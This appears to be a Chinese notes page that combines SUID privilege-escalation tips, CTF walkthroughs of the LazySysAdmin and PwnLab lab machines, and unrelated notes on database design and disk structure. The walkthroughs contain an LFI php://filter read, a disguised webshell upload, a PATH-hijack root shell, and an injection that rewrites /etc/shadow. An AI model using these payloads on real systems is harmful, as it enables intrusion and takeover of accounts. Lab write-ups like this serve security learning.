提权相关
查看系统上运行的所有SUID可执行文件
1 | $ find / -user root -perm -4000 -print 2>/dev/null |
以上所有二进制文件都将以root用户权限执行,因为它们的权限中包含"s",并且对应的是root权限。
如果Find命令也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。
1 | $ touch pentestlab |
查看系统上运行的所有SUID可执行文件
1 | $ find / -user root -perm -4000 -print 2>/dev/null |
以上所有二进制文件都将以root用户权限执行,因为它们的权限中包含"s",并且对应的是root权限。
如果Find命令也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。
1 | $ touch pentestlab |
先看看网站源代码 找到图片存放的位置,看到一个特殊文件名,base64解密
1 | AAEAAQAAAAAAAAdJAAAAJDhiNGY1YTk3LTQ3NTctNDE1Ny1hZmU4LTlhMWE4 |
nmap
1 | # divint3 @ Divint3 in ~ [21:49:41] C:130 |
祭出dirb
1 |
|
匿名访问smb
1 | # divint3 @ Divint3 in ~ [22:46:26] |
1 | CBF Remembering all these passwords. |
todolist.txt
1 | Prevent users from being able to view to web root using the local file browser |
wp-config.php的内容包含数据库配置,故下载
1 | <?php |
访问http://172.17.135.63/wordpress/ 得到提示,my name is togie.
ssh链接ssh togie@172.17.135.63密码12345
1 | togie@LazySysAdmin:~$ cd |
sudo -s提权到root
1 | togie@LazySysAdmin:~$ sudo -s |
root依然默认使用rbash切换到bash,但是从passwd中看是bash,但是就是不能用cd
1 | root@LazySysAdmin:/root# cat proof.txt |
nmap扫描
1 | $ nmap 172.17.135.71 -sS -Pn -O |
dirb扫描
1 | $ dirb http://172.17.135.71 ctf/dir/php.txt |
可疑位置 http://172.17.135.71/index.php?page=login 这里指定了一个页面,尝试指定伪协议 伪协议学习https://lorexxar.cn/2016/09/14/php-wei/ http://172.17.135.71/index.php?page=php://filter/read=convert.base64-encode/resource=index.php 没有结果,因为上面使用的是页面名?page=login,所以使用php://filter/read=convert.base64-encode/resource=index
1 | <?php |
1 | <?php |
1 | <?php |
1 | <?php |
接下来的思路就变成了登录mysql,把登录密码dump出来
1 | $ mysql -uroot -h 172.17.135.71 -p |
登陆后 上传文件, 限制太严格,无法上传 审计代码后发现,
1 | if (isset($_COOKIE['lang'])) |
写一个用于写出木马文件的木马
1 | GIF89a |
由于不知道木马写到哪里去了,失败了 使用小马 文件上传位置upload/068ae40523a24c9ef54edefd375e542d.gif 配置蚁剑 登陆成功,发现文件divint3.php,但是根目录下的divint3.php内容不是我定义的内容,存疑
1 | find / -perm -u=s -type f 2>/dev/null |
1 | lsb_release -a #发行版本 |
使用pt_chown提权,无效
1 | env |
shell 反弹脚本
1 | <?php |
先查看可用shell
1 | (www-data:/var/www/html) $ cat /etc/shells |
在nologin中使用nc弹shell,反弹回来的是nologin,使用python -c "import pty;pty.spawn('/bin/rbash')"得到交互式shell
su 到kane iSv5Ym2GRo,登陆成功 得到假flagflag{T5566Y}
查看.bash_history
1 | kane@pwnlab:~$ cat .bash_history |
再次检查suid
1 | kane@pwnlab:/home$ find / -perm -u=s -type f 2>/dev/null |
发现msgmike有suid
1 | kane@pwnlab:~$ ls -la |
粗略分析msgmike
1 | ELF`4l4(44444@@@@@ $LLL锟斤拷HHHDDP锟絫dXXX,,Q锟絫d/lib/ld-linux.so.2GNU GNU锟斤拷锟�3锟終锟絫g没锟斤拷}雸砮 锟終锟斤拷,E #3鈻� |
属主是mike
在history中有这么一句
1 | export PATH=./:$PATH |
1 | export PATH=/home/kane:$PATH |
1 | kane@pwnlab:~$ echo $PATH |
查看PATH中第一个目录的权限
1 | kane@pwnlab:/usr/local$ ls -lad bin |
修改当前目录下的cat文件
1 | kane@pwnlab:~$ echo "/bin/bash;ls " > cat |
1 | kane@pwnlab:~$ ./msgmike |
现在是属主为root用户的suid文件,和上述套路一致
1 | mike@pwnlab:/home/mike$ ls -la |
执行一遍
1 | mike@pwnlab:/home/mike$ ./msg2root |
复制到tmp目录下,蚁剑查看内容
猜测代码为
1 | /bin/echo %s >> /root/messages.txt |
猜测源代码为
1 | #include <stdio.h> |
1 | a;sed -i 's@^root.*@root:$6$k/mtF8Ic$.whWyn0EQI4q3rucHh3iYK.E6gTmbG3l1KoaQpnFrvs.bD2gw.JCvip1Jt4As5Vz7XKvgWAOz0L/iwaM2aDwp/:18042:0:99999:7:::@g$' /etc/shadow;echo 0 |
sed 可以看出来是直接返回我输入的内容 但是如果我输入的是带反引号的语句呢?
1 | `/bin/bash` |
上面的实践无效
不行,深夜,我想到还是用普通的语句的老老实实的换吧
1 | mike@pwnlab:/home/mike$ ./msg2root |
1 | mike@pwnlab:/home/mike$ ./msg2root |
引用一下几个文件/etc/bash.bashrc /etc/profile /root/.profile /root/.bashrc 然后用vi强行修改/etc/shadow文件,登陆成功
1 | root@pwnlab:/home/kane# id |
1 | root@pwnlab:~# cat flag.txt |
1 | python -c "import pty;pty.spawn('/bin/rbash')" |
1 | xxd -b ctf_chache/ZipCenOp.jar | cut -d " " -f2-7 | sed -e 's/ //g' -e ':a;N;$!ba;s/\n//g' | sed 's/ //g' |
无限分类类似于磁盘中linux的文件查找机制 表的设计可以简化为 id->就是id啊 pid->父级id
高级一点,也方便查找的数据表结构可以新增一个字段 path->递归记录父类id,包括祖id
1 | public function add(){ //这是一个控制器,用来接收post参数 |
1 | syntax enable |
缺少依赖,安装 akonadi-backend-mysql
执行
1 | sudo rm /var/lib/dpkg/updates/* |
由磁片,磁头构成,磁盘按扇区划分 机械式磁盘可以由多个磁盘片构成 每个磁盘片相同位置的扇区,每个大小512Byte构成的一个空心圆柱叫做柱面 为了实现快速数据读写,硬盘往往会多个磁头向多个磁盘片同时写入数据 同一个文件,会被写到多个磁盘片内
划分磁道,扇区
磁头在磁盘掠过的每个圆环叫一个磁道,每个磁道可以分成若干个扇区.
扇区,每个大小为512Byte,历史中的每个扇区的大小为512Byte,但是随着技术发展,大家约定俗成的扇区大小变成了4096Byte,但是为了兼容以前的操作系统,磁盘允许每个4096Byte扇区虚拟为八个512Byte,如果所有数据都是从4096Byte扇区的头512Byte开始写入,而不是从后3584Byte中开始写入,这叫做4K对齐 如果从后7个虚拟扇区开始写入,就叫做4K不对齐 4K对齐的好处很多,比如数据写入速度变快,因为扇区的大小越大,所形成的扇区数就明显变少,超过扇区大小的数据存储在多个块中时,所需要操作系统寻找的扇区变少,数据能更快的存储 如果仍然使用512为一块/簇,会造成写入速度极慢
每个硬盘都会有许多块磁片,可以同时写入,加快写入效率,缺点就是,一但有一片瓷片损坏,整个硬盘数据都会发生损坏,整个柱面都是不可用的
windows中,存储数据以簇为单位,linux中,以块为单位(只是叫法不同,但是实际含义都是一个意思),系统中常常规定多少个扇区为一个簇(块),因为一个扇区的大小为512b,所以簇(块)必须为扇区的整数倍,常见的簇(块)大小为1024b,2048b,4096b(4k最常用) 每个块/簇由2^n倍的扇区构成
零磁道,零扇区 512Byte,叫做主引导记录 这个存储空间被划分为三个片段 446Byte:bootloader 启动器,一段代码程序,用于从分区中加载内核(kernel) 64Byte: 16Byte: 用于标识一个分区 最高四个分区,16Byte*4 2Byte: 魔数 标记mbr是否有效
主板加电,bios程序读入内存,cpu执行bios程序,bios自检程序完成后,加载用户定义的启动顺序 开始寻找磁盘上的mbr,当找到有效的mbr后,bios把mbr存储的bootloader加载入内存,bios程序退出,bootloader开始执行 找到预定的特定分区,寻找操作系统的内核,加载入内存,完成内核的解压缩,运行在内存上,bootloader退出,内核开始工作 内核被加载入特权级0的区域
深入理解Linux启动过程 Linux内核的加载过程 initrd 和 initramfs
存储于硬盘mbr,存储一个指针指向另一个地址,用于绑定扩展分区
一个硬盘被分成若干个逻辑块,用标号进行标识分区,例如sdX
用于创建文件系统,mk2fs
也是程序的一种,他负责文件的增删改查 文件系统分为几个部分,磁盘引导,超级块,inode池,数据存储区
inode用于记录文件的一些属性,包括修改时间,创建时间,文件数据块的位置,硬链接数,权限,UID,GID等,但不记录文件名,文件名由文件夹记录 详细请下载linuxkernel 在include/linux struct inode结构体中有详细声明
文件系统中专门分出用于存储inode文件的地方,inode文件每个大小一般为128Byte或256Byte,inode数量在创建文件系统时给出,按照一定比例生成inode,比如两个块一个inode
使用1/0来记录块是否被使用,使用inode的原因是,便于操作系统识别未使用过的系统资源,方便检索 block bitmap:记录块的使用情况 inode bitmap:记录inode的使用情况
开头的第一个byte是byte 0,从 byte 1024开始往后的一部分数据。超级块中的数据其实就是文件卷的控制信息部分,也可以说它是卷资源表,有关文件卷的大部分信息都保存在这里。例如:硬盘分区中每个block的大小、硬盘分区上一共有多少个block group、以及每个block group中有多少个inode.超级块存在备份,创建文件系统的时候被随机备份于若干块中,若分区superblock被破坏,可以使用备份块恢复
不同文件系统的协调器,给出了一个统一接口
fdisk 指定硬盘 m为操作方法
要先杀死所有在分区上运行着的程序
1 | fuser -mk 挂载点 |
需要先把硬盘第一个分区(MBR)的所有信息清除
1 | dd -if /dev/zero -of 硬盘设备文件 bs=512 count=1 |